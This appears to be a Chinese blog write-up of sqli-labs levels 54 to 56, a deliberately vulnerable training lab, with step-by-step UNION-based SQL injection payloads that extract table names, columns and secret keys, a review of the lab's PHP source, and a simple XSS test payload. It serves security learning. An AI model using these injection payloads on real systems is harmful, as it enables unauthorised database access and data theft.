当前位置:网站首页>sqli-labs通关汇总-page4
sqli-labs通关汇总-page4
2022-07-02 06:23:00 【徐记荣】
less-54(GET型、单引号、联合查询)
less-55(GET型、数字型括号、联合查询)
less-56(GET型、单引号括号、联合查询)
less-54
标题:GET - challenge - Union -10 queries allowed - Variation1
这里开始有意思了,仅允许10个查询
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

排除数字型闭合,确定为单引号闭合
第三步:测闭合
?id=1' --+

确定为''闭合
第四步:测查询语句字段数
这个就很迷了,你运气不好你就测不到,这时候还是用二分法去测吧
?id=1' order by 4 --+

报错,说明查询语句字段数小于4
第五步:测查询语句字段数
?id=1' order by 3 --+

得出查询语句字段数为3个
第六步:测前端回显位置,顺带着回显数据库
?id=-1' union select database(),database(),database() --+

得到数据库名为challenges
第七步:获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名为rt85c5veac
第八步:获取字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rt85c5veac'),3 --+

得到字段名:id,sessid,secret_F5D9,tryy
有个叫秘密的字段名
第九步:获取字段值
?id=-1' union select 1,(select group_concat(secret_F5D9) from rt85c5veac),3 --+

得到key:e3GqUNpU23vQcA9K2fGxOrNz
提交
OK
看一下源码
不全贴,先看index.php
这个文件的代码跟之前
除了数据库用的是$dbname1 = "challenges"; ,都是一样
我们看一下functions.php
定义了好多方法,我们先看一下主函数部分
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //charset for dynamic generation of strings
// Generating a dynamic alfanumeric Table name with each purge.
$table = num_gen(10, $characters) ;
// Generating Secret key column.
$secret_key = "secret_".num_gen(4, $characters);
//retrieve dynamic table name from database.
定义了个字符串$characters
调用了num_gen方法,
1.num_gen()
function num_gen($string_length, $characters)
{
$string = '';
for ($i = 0; $i < $string_length; $i++)
{
$string .= $characters[rand(0, strlen($characters) - 1)];
}
return $string;
}
该方法生成一个在ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789字符中的长度为$string_length的随机字符串
$table生成了一个长度为10的随机字符串$secret_key生成了一个程度为4的随机字符串
我们在看一下其他方法
2.table_name()
function table_name()
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname1'";
$result=mysqli_query($con1, $sql) or die("error in function table_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function table_name() output". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges库中的所有表,并返回第一个表
3.column_name()
function column_name($idee)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$table = table_name();
$sql="SELECT column_name FROM information_schema.columns WHERE table_name='$table' LIMIT $idee,1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges库中的第一个表的字段,$idee限制输出第几个字段,并返回字段名
4.data()
function data($tab,$col)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT $col FROM $tab WHERE id=1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法用来查询$tab表,返回$col字段值
5.next_tryy
function next_tryy()
{
$table = table_name();
//including the Mysql connect parameters.
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql = "UPDATE $table SET tryy=tryy+1 WHERE id=1";
mysqli_query($con1, $sql) or die("error in function next_tryy()". mysqli_error($con1));
}
该方法使id=1的try字段的字段值+1
6.view_attempts
function view_attempts()
{
include("../sql-connections/sql-connect-1.php");
$table = table_name();
$sql="SELECT tryy FROM $table WHERE id=1";
$result=mysqli_query($con1, $sql) ;
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function view_attempts()". mysqli_error($con1));
else
return $row[0];
}
该方法查询id=1的try字段的字段值,并返回
我们看一下主页面index.php
$pag = $_SERVER['PHP_SELF'];
| 代码 | 描述 |
|---|---|
| $_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。_ FILE __ 常量包含当前(例如包含)文件的完整路径和文件名。 |
我这里$pag的值是
/sqli/Less-54/index.php
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
$time用来限制查询次数的$table用来获取challenges的表名,表只有一个$col和$col1分别来获取两个字段名,后面有注释,分别是session id和secret key

'answer_key'是
下面这个Submit,没点击前是没有值的,所以if后面语句才能执行

'reset'是
前面重制关卡的按钮,不点也是空,所以if后面也不会执行,如果点了,提交了,就会重新发个cookie

后面这一部分,如果cookie不为空,则给cookie内添加表内session id的值,和一个月的时间

获取前端传来的id值,若存在
执行next_tryy()方法,表中tryy值+1
并执行view_attempts()方法,回显tryy值

下一步,判断tryy值是否超过10次,超过就删掉cookie,重新跳转页面,前面$pag获取的路径就是用在这的

后面这一部分就是常规的查询,前端回显值

再后面这部分是处理,提交key是否正确的代码
非常有意思的是他这边分别用addslashes()和mysqli_real_escape_string()做了两次转义,没想明白有什么用,但此处提交
<script>alert(/xss/)</script>

可以发现此处是存在xss漏洞的
less-55
GET - challenge - Union - 14 queries allowed - Variation 2
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

无回显,排除单引号闭合,确定为数字型
第三步:测闭合
?id=1 --+

无回显,继续加括号
第四步:测闭合
?id=1) --+

有回显,可以确定为()闭合
第五步:测查询语句字段数
?id=1) order by 4 --+

说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1) order by 3 --+

说明查询语句字段数为3
第七步:测前端回显位置,顺带着回显数据库

得到数据库名challenges
第八步:获取表名
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名为b6gqo9qti7
第九步:获取字段名
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='b6gqo9qti7'),3 --+

得到字段名id,sessid,secret_UHTF,tryy
第十步:获取字段值
?id=-1) union select 1,(select group_concat(secret_UHTF) from b6gqo9qti7),3 --+

得到key:UUN75bQF8s7z116LDOpgUNp7

做到这突然想起一个事情,包括54关
这里顺带回显数据库是不对的,因为无法确定回显位置是1,2,3中的哪两个
还有55关与54关除了闭合没什么区别
less-56
标题:GET - challenge - Union - 14 queries allowed - variation 3
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

有回显,可以排除数字型,确定为单引号闭合
第三步:测闭合
?id=1' --+

无回显,继续加括号
第四步:测闭合
?id=1') --+

有回显,说明是('')闭合
第五步:测查询语句字段数
?id=1') order by 4 --+

报错,说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1') order by 3 --+

有回显,说明查询语句字段数为3
第七步:查看前端回显位置
?id=-1') union select 1,2,3 --+

2,3处存在回显
第八步:获取数据库名
?id=-1') union select 1,database(),3 --+

得到数据库名:challenges
第九步:获取表名
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名:5ickf0b94k
第十步:获取字段名
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='5ickf0b94k'),3 --+

得到字段名:id,sessid,secret_PK1F,tryy
第十一步:获取字段值
?id=-1') union select 1,(select group_concat(secret_PK1F) from 5ickf0b94k),3 --+

得到key:ZHMul4PlVGOjx8USXcH5Rgy6

和55关、54关一样,仅仅是闭合变为了('')
less-57
GET - challenge - Union - 14 queries allowed - Variation 4
边栏推荐
- js中对于返回Promise对象的语句如何try catch
- Pytest (1) case collection rules
- In depth study of JVM bottom layer (IV): class file structure
- 由于不正常断电导致的unexpected inconsistency;RUN fsck MANUALLY问题已解决
- 查询GPU时无进程运行,但是显存却被占用了
- js创建一个自定义json数组
- CTF three count
- sprintf_ How to use s
- 由於不正常斷電導致的unexpected inconsistency;RUN fsck MANUALLY問題已解决
- js判断数组中对象是否存在某个值
猜你喜欢
![[literature reading and thought notes 13] unprocessing images for learned raw denoising](/img/a5/ed26a90b3edd75a37b2e5164f6b7d2.png)
[literature reading and thought notes 13] unprocessing images for learned raw denoising

Explanation and application of annotation and reflection

unittest. Texttestrunner does not generate TXT test reports

Présence d'une panne de courant anormale; Problème de gestion de la fsck d'exécution résolu

No process runs when querying GPU, but the video memory is occupied

pytest(1) 用例收集规则

FE - 微信小程序 - 蓝牙 BLE 开发调研与使用

Latex参考文献引用失败 报错 LaTeX Warning: Citation “*****” on page y undefined on input line *

Win电脑截图黑屏解决办法

Sentry construction and use
随机推荐
How to debug wechat built-in browser applications (enterprise number, official account, subscription number)
CTF three count
Promise中有resolve和无resolve的代码执行顺序
部署api_automation_test过程中遇到的问题
Fe - wechat applet - Bluetooth ble development research and use
ZZQ的博客目录--更新于20210601
Atcoder beginer contest 253 F - operations on a matrix / / tree array
Eggjs -typeorm 之 TreeEntity 实战
The default Google browser cannot open the link (clicking the hyperlink does not respond)
20210306转载如何使TextEdit有背景图片
看完有用的blog
Vector types and variables built in CUDA
pytest(2) mark功能
js中map和forEach的用法
Loops in tensorrt
Eggjs -typeorm treeenity practice
Log - 7 - record a major error in missing documents (A4 paper)
ts和js区别
Shardingsphere JDBC
sqli-labs通关汇总-page3